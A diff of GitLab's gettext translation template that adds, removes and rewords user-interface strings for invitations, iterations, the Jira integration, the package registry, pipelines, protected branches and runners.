msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18076,13 +17749,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18103,7 +17773,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18112,9 +17782,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18139,6 +17806,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18550,18 +18220,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18571,6 +18259,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18583,6 +18274,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18601,9 +18298,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18703,9 +18406,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18754,6 +18463,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18844,9 +18556,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -18874,18 +18583,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -18997,9 +18694,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19159,9 +18853,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19392,9 +19083,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19602,6 +19290,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19823,6 +19514,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20057,6 +19751,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20075,9 +19778,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20297,9 +19997,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20369,6 +20066,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20390,6 +20090,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20402,6 +20105,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20462,9 +20168,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21241,9 +20944,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21384,9 +21084,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21645,9 +21342,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21821,9 +21515,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21872,7 +21563,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21929,13 +21620,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22132,9 +21823,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22153,7 +21841,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22462,9 +22150,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22651,9 +22336,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -22788,9 +22470,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23426,10 +23105,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23507,6 +23186,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23537,6 +23219,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23561,9 +23249,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23615,6 +23300,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23624,15 +23312,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23678,6 +23366,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23708,6 +23402,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23900,9 +23600,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24107,10 +23804,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24122,9 +23819,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24134,16 +23828,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24263,10 +23963,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24284,12 +23984,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24401,9 +24107,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24554,13 +24257,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24605,10 +24308,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24620,6 +24323,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25232,6 +24941,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25517,9 +25229,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25547,6 +25256,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25559,9 +25271,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25610,15 +25319,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25667,9 +25370,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26285,9 +25985,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26303,9 +26000,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26390,21 +26084,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26420,18 +26111,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26447,9 +26129,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26462,6 +26141,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26477,7 +26159,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26486,6 +26168,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26495,9 +26180,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26516,9 +26198,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26642,13 +26321,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26669,12 +26351,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26684,6 +26375,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26693,12 +26387,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26744,18 +26441,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Limit access to creating and updating tags."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27160,6 +26869,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27187,6 +26899,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27366,6 +27081,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27381,15 +27099,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27405,9 +27117,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27555,15 +27264,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27573,15 +27285,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -27981,6 +27684,9 @@ msgstr[1] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28131,12 +27837,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28152,9 +27852,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28249,6 +27946,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28258,9 +27958,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28327,12 +28024,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28342,6 +28048,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28351,9 +28060,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
